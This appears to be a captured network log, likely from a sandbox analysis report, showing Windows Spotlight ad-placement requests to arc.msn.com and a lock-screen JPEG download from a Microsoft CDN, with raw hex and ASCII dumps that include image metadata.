2022-06-08 07:56:02 UTC 1057 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220608T165600Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=8269c44c06284e1ca50e8d554a67885c&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1550856&metered=false&nettype=ethernet&npid=sc-
338388&oemName=dvtdma%2C%20Inc.&oemid=dvtdma%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
dvtdma7%2C1&tl=2&tsu=1550856&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcoT2xWTT8B4K6mtV5tIxG
nC02GsRTU5yPFjb99UFYSlBGueIufF+PeDs0KJm0UB16pQqaMLUESx/ANwPw5stibNwfwd9LWR2Q5aFKB9H9Rq8Tbk
3/xUUTY2u3zeLajotcveWFy679D3IsrJFTmjG7M/6GaZLgqr6QINPT03fkqsS26Tp07Th+SBiZqmx/MbLhlctmjW3M
Gi825F8UfJCa3CxpUuWd75pk5HdggWwSBHrxQOv1LVEDUxS/Pai3pm2PaDkYwpfql6nei57WW49GDgqvogInmB3zgY
EzdULPmE/a5Rih3n0rjNpEcge+HDy1vOkoA0TC5cKeYNwrDm2BIDZgAACEyz1f8DUxL5qAGoD//34iGMkGey+aS9xE
e8eMTTjFWGRY8gbsBwj82QydScUJb2HDyhhjWsP4VqKqUOPW0sncGla0wqHbo64v/Im3siKy1KgLczIhzeRnzt2nbG
iY79mMRHXiuCcxEF87VXEmFYhSM3XFqSCwL6DWJot8JBA59TWqAB/6pVOqU41uoSXfNlktNNO0CYJ8WW
zLTya+rwDt+v3+1lxrMwMt7SQABErYSrOWFQGCto1ommHx7sk+i+warsWTYG4tWvNTvHUdXwGz7PlCBRtGtgMR48tD
zA5QMUK78w3PJanEXTA7fQmFY2NK63UiVzOjnDpsJ1cYy57ekYQVGi+MHr2ZW2PxDRFh3pJiHuJ8Mnnp
W+ERi9WFYcfAXbgg3xPTx29VBNQXl2aB1OHc1U5LgQE3lVAYAL4vZCQ7Ig1TDQW9K4VYkYWfSKC/emaTIpSh5J2R49
hKScsJ7MSsbXHqNnlp2Avfn4r4vif+rsmfjPgcXzPwrJYQXP3BHg9WBAe9Yfqib46FBcghjaZzYIdVOhtPUnjOFuTw
l0lj78G6q6KZHNQKGmqX1RhD/l1wE=&p=
Cache-Control: no-cache
MS-CV: Q9MiT3HKh0i++QB5.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-06-08 07:56:02 UTC 1061 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 4484
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P400089837-T700129702-C128000000000402926+B+P90+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: jDOTOaLIwqCslpcA1daCaEa7XmCcgVxJEWphKI4T6hLAYXg0dhMwK9xiiab6yki1O+1NHf9+u4YgVTV
pVlyPVerdvj7Cao7aCib0jo3+PDXn4ZS4bsmXaLGjTTn6mBaJYdwx5+l5Lpla7y0vPXVGhNibCP0CjbhD4yiRALcOp
kzoprB0LQFMF/TFq296ozM06oedRs1cs/JZmzNlHGf3ke8FUHz60YyABmg7hAP400PKPb4ZWKaN3UYc3wbn5qYp2q+
kGmQPp99km+ThFv2XC48ZBMMBuiDW6yRdYbWHD1TubMshBHvXcUbzx/b+ChG9PV4ucIl2MG5g3GSTEH/5pA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:56:01 GMT
Connection: close

2022-06-08 07:56:02 UTC 1062 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 
78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":
{\"t

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

56 192.168.2.3 49783 20.40.136.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:02 UTC 1059 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220608T165600Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=f049df15f3744d47b4f8f36928768356&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1550856&metered=false&nettype=ethernet&npid=sc-
338387&oemName=dvtdma%2C%20Inc.&oemid=dvtdma%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0
&smBiosDm=dvtdma7%2C1&tl=2&tsu=1550856&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1
&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcoT2xWTT8B4K6mtV5tIxG
nC02GsRTU5yPFjb99UFYSlBGueIufF+PeDs0KJm0UB16pQqaMLUESx/ANwPw5stibNwfwd9LWR2Q5aFKB9H9Rq8Tbk
3/xUUTY2u3zeLajotcveWFy679D3IsrJFTmjG7M/6GaZLgqr6QINPT03fkqsS26Tp07Th+SBiZqmx/MbLhlctmjW3M
Gi825F8UfJCa3CxpUuWd75pk5HdggWwSBHrxQOv1LVEDUxS/Pai3pm2PaDkYwpfql6nei57WW49GDgqvogInmB3zgY
EzdULPmE/a5Rih3n0rjNpEcge+HDy1vOkoA0TC5cKeYNwrDm2BIDZgAACEyz1f8DUxL5qAGoD//34iGMkGey+aS9xE
e8eMTTjFWGRY8gbsBwj82QydScUJb2HDyhhjWsP4VqKqUOPW0sncGla0wqHbo64v/Im3siKy1KgLczIhzeRnzt2nbG
iY79mMRHXiuCcxEF87VXEmFYhSM3XFqSCwL6DWJot8JBA59TWqAB/6pVOqU41uoSXfNlktNNO0CYJ8WW
zLTya+rwDt+v3+1lxrMwMt7SQABErYSrOWFQGCto1ommHx7sk+i+warsWTYG4tWvNTvHUdXwGz7PlCBRtGtgMR48tD
zA5QMUK78w3PJanEXTA7fQmFY2NK63UiVzOjnDpsJ1cYy57ekYQVGi+MHr2ZW2PxDRFh3pJiHuJ8Mnnp
W+ERi9WFYcfAXbgg3xPTx29VBNQXl2aB1OHc1U5LgQE3lVAYAL4vZCQ7Ig1TDQW9K4VYkYWfSKC/emaTIpSh5J2R49
hKScsJ7MSsbXHqNnlp2Avfn4r4vif+rsmfjPgcXzPwrJYQXP3BHg9WBAe9Yfqib46FBcghjaZzYIdVOhtPUnjOFuTw
l0lj78G6q6KZHNQKGmqX1RhD/l1wE=&p=
Cache-Control: no-cache
MS-CV: Q9MiT3HKh0i++QB5.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-06-08 07:56:02 UTC 1066 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 24641
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000003426909+B+P90+S1,P425462535-T
700374422-C128000000003476589+B+P80+S2,P425119424-T700340276-C128000000002535189+B+P20+S3"},
{"BATCH_REDIRECT_STORE":"BWW_128000000003426909_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"B
WW_128000000003476589_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002535189_EN-US+
P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: pKFjeOWUKAiZtR4mHwraqKpv/IhjJOPdyJ07FH5GFoEkQuNud8a5DN0rdAYi4ydMmeTZozCSw/iYNP5
Wk2C0WNOtfSaVdJZeLYXZvNl1PeJn6PDoCwbfZglubVgskd0hVhDKr4tdhAoxFk8Ua67OKq7oDmzw9I1ljTKy4O3DK
pkrQ45fQb/Ay4Wc+GlzWnNN/vaCzp1bfiFzaPiwHZcz+oo2Tbo7wdEt+9bKsAEoS6mLsFcir7dbnPgn35kTl6ElomV
S5UtyMZ4gSEpCylWucOXP+qZ7dUcGq9t3j6/6nwslRyqS+QnPQ38MldrS5xpAQ141ppuMgCPTrTE+6v24QQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:56:02 GMT
Connection: close

2022-06-08 07:56:02 UTC 1067 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 
65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 
49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\
":\"ima

2022-06-08 07:56:02 UTC 1082 IN Data Raw: 35 36 30 32 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 44 42 44 45 31 33 44 43 36 39 37 46 37 
31 38 34 36 41 39 39 30 43 44 46 44 43 30 31 36 46 42 44 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 37 35 35 
34 33 32 30 30 34 36 36 37 34 33 35 26 4c 4f 43 41 4c 49 44 3d 77 3a 34 37 32 44 43 36 30 30 2d 46 45 41 42 2d 45 37 
46 38 2d 37 32 30 44 2d 31 45 33 33 46 30 30 46 44 31 45 37 26 44 53 5f 45 56 54 49 44 3d 37 31 33 63 37 33 34 62 65 
36 37 63 34 34 35 61 61 63 33 63 37 37 64 61 37 34 37 35 35 35 64 61 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 
50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 45 37 
37 44 34 44 43 32 2d 32 34 34 35 2d 34 35 34 36 2d 39 43 32 44 2d 35 31 
Data Ascii: 5602&MA_Score=2&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOBALDEVICEID=6755432
004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=713c734be67c445aac3c77da
747555da&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=E77D4DC2-2445-4546-9C2D-51

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

57 192.168.2.3 49789 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:16 UTC 1091 OUT GET /cms/api/am/imageFileData/RE4Yv25?ver=483f HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-06-08 07:56:16 UTC 1109 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Yv25?ver=483f
Last-Modified: Tue, 07 Jun 2022 23:58:39 GMT
X-Source-Length: 1863545
X-Datacenter: northeu
X-ActivityId: bbecaad9-37a6-4259-b073-4404dc1ffa07
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1863545
Cache-Control: public, max-age=403349
Expires: Sun, 12 Jun 2022 23:58:45 GMT
Date: Wed, 08 Jun 2022 07:56:16 GMT
Connection: close

2022-06-08 07:56:16 UTC 1110 IN Data Raw: ff d8 ff e1 17 d3 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 37 3a 32 33 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:57:238"
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2022-06-08 07:56:16 UTC 1157 IN Data Raw: 32 6a dd bb f4 ce 69 bd db 7d b4 ff 00 da af 4b f9 b6 7f 3f fe 95 36 39 b3 13 1a d7 e5 da 2c ba cb 1a ef 49 ae 
73 eb 65 b6 0f 4f ec f5 da 21 db 6d a6 cf d1 63 fa 7f e8 b2 3d 3f d2 a0 d9 ff 00 8a 6a 3e 0e e7 fa 57 f8 5f fc 0f f7 7f e0 55 
9e b5 fc c6 6f 3f 44 7d 1f 8f f8 6f f8 1f fd 11 f6 94 de 9a 2e eb ab 56 fe a1 6e 2f 4f 36 b7 75 6c 6b d9 ba b9 36 56 d2 c7 30 
1a b1 29 af 73 f7 b5 9f a0 b7 7f e8 e9 d9 ea 7f 37 ef 41 c1 cc 77 50 bf 22 ea 45 ce e9 f4 d2 c7 81 50 71 2f 75 85 cc 6d 55 
bd e6 bc bb 76 d6 cb 29 f4 ff 00 c3 fa be a7 fa 1f 56 ff 00 e6 64 ff 00 3b fd 2e ef fa 81 fc c7 fd d6 ff 00 b8 bf f0 fe 92 a9 97 
fd 29 9f ce 76 e3 fa 4f f3 38 9f d2 ff 00 ee cf fd cc ff 00 82 f5 50 8d ff 00 04 9d bf 36 f6 2e 35 39 8f 19 14 1a be cb 63 8b 9c 
c1 ed 8b 24 b5 8f 7d 
Data Ascii: 2ji}K?69,IseO!mc=?j>W_Uo?D}o.Vn/O6ulk6V0)s7AwP"EPq/umUv)Vd;.)vO8P6.59c$}

2022-06-08 07:56:16 UTC 1191 IN Data Raw: 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 
43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 
38 30 5f 4c 61 6e 64 73 63 61 70 65 34 35 30 33 30 36 46 35 36 42 32 42 30 30 37 45 45 41 36 35 43 43 34 41 36 44 45 
37 43 42 38 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 38 3a 32 37 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 
Data Ascii: 12-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_L
ockscreen_1920x1080_Landscape450306F56B2B007EEA65CC4A6DE7CB83.psb saved&#xA;2016-07-26T10:58:27-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edg

2022-06-08 07:56:16 UTC 1246 IN Data Raw: 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 
35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 
73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 
73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 32 33 3a 35 39 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5
c 42 69 6e 67 2d 47 61 72 64 65 6e 61 50 61 73 73 49 74 61 6c 79 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 61 67 65 5f 49 42 
4b 2d 34 30 39 30 31 35 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 
Data Ascii: aming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F479
20D5F41D85C30DE643DF5B579.psb saved&#xA;2016-07-27T12:23:59-07:00&#x9;File C:\Users\v-lizagh\MS\Wind
ows10\Bing-GardenaPassItaly\Crops\Bing-age_IBK-4090158_1920x1080.jp

2022-06-08 07:56:16 UTC 1360 IN Data Raw: 76 65 72 5c 5f 4d 53 52 65 77 61 72 64 73 5f 41 63 71 75 69 73 69 74 69 6f 6e 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 34 35 30 37 31 35 33 39 35 5f 31 39 32 30 78 31 30 38 30 35 42 45 37 32 39 44 38 42 39 42 31 36 34 34 36 44 
44 34 32 46 45 31 31 41 41 46 37 39 44 45 46 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 
38 54 31 33 3a 30 37 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 
61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 33 54 31 34 3a 34 32 
3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 
Data Ascii: ver\_MSRewards_Acquisition_GettyImages-450715395_1920x10805BE729D8B9B16446DD42FE11AAF79D
EF.psb saved&#xA;2016-09-18T13:07:35-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1
080_Landscape.psd saved&#xA;2016-09-23T14:42:27-07:00&#x9;File Lock

2022-06-08 07:56:16 UTC 1416 IN Data Raw: 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 
54 31 31 3a 33 31 3a 30 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 
6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 
34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 
44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 
31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 
Data Ascii: 643DF5B579.psb saved&#xA;2016-11-16T11:31:04-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscr
een_1920x1080_Landscape.psd saved&#xA;2016-11-16T12:44:48-08:00&#x9;File C:\Users\v-lizagh\AppData\R
oaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Locks

2022-06-08 07:56:16 UTC 1471 IN Data Raw: 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 
45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
31 38 36 36 37 38 39 30 31 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 
31 31 2d 32 33 54 31 35 3a 34 32 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 
38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 
Data Ascii: 37-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_S
kype_GettyImages-186678901_1920x1080.psd saved&#xA;2016-11-23T15:42:02-08:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved

2022-06-08 07:56:16 UTC 1535 IN Data Raw: 33 30 38 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
31 2d 33 30 54 31 34 3a 31 33 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 7
4 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 
53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 39 39 32 33 30 38 34 5f 31 
39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 31 35 
3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
Data Ascii: 3084_1920x1080.jpg saved&#xA;2017-01-30T14:13:14-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edg
e\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-489923084_1920x10
80.jpg saved&#xA;2017-01-30T14:15:13-08:00&#x9;File C:\Us

2022-06-08 07:56:16 UTC 1583 IN Data Raw: 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 
2d 35 30 36 32 32 32 32 31 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
2d 30 32 2d 32 38 54 31 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 
5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 
73 2d 36 31 33 36 35 39 34 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 
